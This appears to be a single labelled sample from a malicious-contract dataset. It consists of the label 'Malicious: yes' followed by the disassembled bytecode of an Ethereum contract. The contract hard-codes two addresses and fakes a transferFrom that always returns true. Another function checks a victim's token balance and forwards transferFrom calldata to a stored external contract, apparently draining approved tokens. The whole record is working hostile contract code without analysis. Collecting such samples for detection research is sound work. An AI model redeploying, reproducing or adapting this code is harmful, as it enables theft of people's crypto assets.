Malicious: yes
Decompiled opcodes:
PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x00 DUP1 SLOAD PUSH1 0x01 PUSH1 0x01 PUSH1 0xa0 SHL SUB NOT SWAP1 DUP2 AND PUSH20 0x53773fe5ff4451c896127dd2c91b8de7ac51ba2c OR SWAP1 SWAP2 SSTORE PUSH1 0x01 DUP1 SLOAD SWAP1 SWAP2 AND PUSH20 0x11112f684cb88d43ca0e132e585e882606063fbe OR SWAP1 SSTORE CALLVALUE DUP1 ISZERO PUSH2 0x0058 JUMPI PUSH1 0x00 DUP1 REVERT JUMPDEST POP PUSH2 0x041a DUP1 PUSH2 0x0068 PUSH1 0x00 CODECOPY PUSH1 0x00 RETURN UNKNOWN_0xfe PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x0010 JUMPI PUSH1 0x00 DUP1 REVERT JUMPDEST POP PUSH1 0x04 CALLDATASIZE LT PUSH2 0x0036 JUMPI PUSH1 0x00 CALLDATALOAD PUSH1 0xe0 SHR DUP1 PUSH4 0x23b872dd EQ PUSH2 0x003b JUMPI DUP1 PUSH4 0x79cb8958 EQ PUSH2 0x0066 JUMPI JUMPDEST PUSH1 0x00 DUP1 REVERT JUMPDEST PUSH2 0x0052 PUSH2 0x0049 CALLDATASIZE PUSH1 0x04 PUSH2 0x02cd JUMP JUMPDEST PUSH1 0x01 SWAP4 SWAP3 POP POP POP JUMP JUMPDEST PUSH1 0x40 MLOAD SWAP1 ISZERO ISZERO DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x0079 PUSH2 0x0074 CALLDATASIZE PUSH1 0x04 PUSH2 0x02cd JUMP JUMPDEST PUSH2 0x007b JUMP JUMPDEST STOP JUMPDEST PUSH1 0x00 PUSH2 0x0087 DUP5 DUP5 PUSH2 0x01fa JUMP JUMPDEST SWAP1 POP DUP2 DUP2 GT PUSH2 0x0095 JUMPI PUSH1 0x00 DUP1 REVERT JUMPDEST PUSH1 0x01 SLOAD PUSH1 0x40 DUP1 MLOAD PUSH20 0xffffffffffffffffffffffffffffffffffffffff DUP7 DUP2 AND PUSH1 0x24 DUP1 DUP5 ADD SWAP2 SWAP1 SWAP2 MSTORE SWAP4 DUP2 AND PUSH1 0x44 DUP4 ADD MSTORE PUSH1 0x64 DUP1 DUP4 ADD DUP7 SWAP1 MSTORE DUP4 MLOAD DUP1 DUP5 SUB SWAP1 SWAP2 ADD DUP2 MSTORE PUSH1 0x84 SWAP1 SWAP3 ADD DUP4 MSTORE PUSH1 0x20 DUP1 DUP4 ADD DUP1 MLOAD PUSH28 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffff AND PUSH32 0x23b872dd00000000000000000000000000000000000000000000000000000000 OR SWAP1 MSTORE PUSH1 0x00 DUP1 SLOAD DUP6 MLOAD DUP3 DUP2 MSTORE SWAP3 DUP4 ADD SWAP6 DUP7 SWAP1 MSTORE PUSH32 0x3903e19e00000000000000000000000000000000000000000000000000000000 SWAP1 SWAP6 MSTORE SWAP3 SWAP5 SWAP4 SWAP1 SWAP2 AND SWAP3 PUSH4 0x3903e19e SWAP3 PUSH2 0x01a0 SWAP3 ADDRESS SWAP3 DUP3 SWAP2 PUSH32 0x050e0343dc2c0c00aa13f584a31db64524e98b7ff11cd2e07c2f074440821f99 SWAP2 DUP4 SWAP2 DUP15 SWAP2 DUP12 SWAP2 SWAP1 DUP2 ADD PUSH2 0x036f JUMP JUMPDEST PUSH1 0x20 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x00 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x01ba JUMPI PUSH1 0x00 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x01ce JUMPI RETURNDATASIZE PUSH1 0x00 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x00 REVERT JUMPDEST POP POP POP POP PUSH1 0x40 MLOAD RETURNDATASIZE PUSH1 0x1f NOT PUSH1 0x1f DUP3 ADD AND DUP3 ADD DUP1 PUSH1 0x40 MSTORE POP DUP2 ADD SWAP1 PUSH2 0x01f2 SWAP2 SWAP1 PUSH2 0x0309 JUMP JUMPDEST POP POP POP POP POP POP JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH32 0x70a0823100000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH20 0xffffffffffffffffffffffffffffffffffffffff DUP3 DUP2 AND PUSH1 0x04 DUP4 ADD MSTORE PUSH1 0x00 SWAP2 SWAP1 DUP5 AND SWAP1 PUSH4 0x70a08231 SWAP1 PUSH1 0x24 ADD PUSH1 0x20 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP7 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x0265 JUMPI PUSH1 0x00 DUP1 REVERT JUMPDEST POP GAS STATICCALL ISZERO DUP1 ISZERO PUSH2 0x0279 JUMPI RETURNDATASIZE PUSH1 0x00 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x00 REVERT JUMPDEST POP POP POP POP PUSH1 0x40 MLOAD RETURNDATASIZE PUSH1 0x1f NOT PUSH1 0x1f DUP3 ADD AND DUP3 ADD DUP1 PUSH1 0x40 MSTORE POP DUP2 ADD SWAP1 PUSH2 0x029d SWAP2 SWAP1 PUSH2 0x0309 JUMP JUMPDEST SWAP4 SWAP3 POP POP POP JUMP JUMPDEST DUP1 CALLDATALOAD PUSH20 0xffffffffffffffffffffffffffffffffffffffff DUP2 AND DUP2 EQ PUSH2 0x02c8 JUMPI PUSH1 0x00 DUP1 REVERT JUMPDEST SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x00 DUP1 PUSH1 0x00 PUSH1 0x60 DUP5 DUP7 SUB SLT ISZERO PUSH2 0x02e2 JUMPI PUSH1 0x00 DUP1 REVERT JUMPDEST PUSH2 0x02eb DUP5 PUSH2 0x02a4 JUMP JUMPDEST SWAP3 POP PUSH2 0x02f9 PUSH1 0x20 DUP6 ADD PUSH2 0x02a4 JUMP JUMPDEST SWAP2 POP PUSH1 0x40 DUP5 ADD CALLDATALOAD SWAP1 POP SWAP3 POP SWAP3 POP SWAP3 JUMP JUMPDEST PUSH1 0x00 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x031b JUMPI PUSH1 0x00 DUP1 REVERT JUMPDEST POP MLOAD SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x00 DUP2 MLOAD DUP1 DUP5 MSTORE PUSH1 0x00 JUMPDEST DUP2 DUP2 LT ISZERO PUSH2 0x0348 JUMPI PUSH1 0x20 DUP2 DUP6 ADD DUP2 ADD MLOAD DUP7 DUP4 ADD DUP3 ADD MSTORE ADD PUSH2 0x032c JUMP JUMPDEST DUP2 DUP2 GT ISZERO PUSH2 0x035a JUMPI PUSH1 0x00 PUSH1 0x20 DUP4 DUP8 ADD ADD MSTORE JUMPDEST POP PUSH1 0x1f ADD PUSH1 0x1f NOT AND SWAP3 SWAP1 SWAP3 ADD PUSH1 0x20 ADD SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x00 PUSH2 0x0100 PUSH20 0xffffffffffffffffffffffffffffffffffffffff DUP1 DUP13 AND DUP5 MSTORE DUP11 PUSH1 0x20 DUP6 ADD MSTORE DUP10 PUSH1 0x40 DUP6 ADD MSTORE DUP9 PUSH1 0x60 DUP6 ADD MSTORE DUP8 PUSH1 0x80 DUP6 ADD MSTORE DUP1 DUP8 AND PUSH1 0xa0 DUP6 ADD MSTORE POP DUP1 PUSH1 0xc0 DUP5 ADD MSTORE PUSH2 0x03c1 DUP2 DUP5 ADD DUP7 PUSH2 0x0322 JUMP JUMPDEST SWAP1 POP DUP3 DUP2 SUB PUSH1 0xe0 DUP5 ADD MSTORE PUSH2 0x03d5 DUP2 DUP6 PUSH2 0x0322 JUMP JUMPDEST SWAP12 SWAP11 POP POP POP POP POP POP POP POP POP POP POP JUMP UNKNOWN_0xfe LOG2 PUSH5 0x6970667358 UNKNOWN_0x22 SLT SHA3 BYTE PUSH30 0x8b8cfc1ceca4e80f001a573a03f3e46f0992c75c8e80abf3594c8180883a PUSH5 0x736f6c6343 STOP ADDMOD SMOD STOP CALLER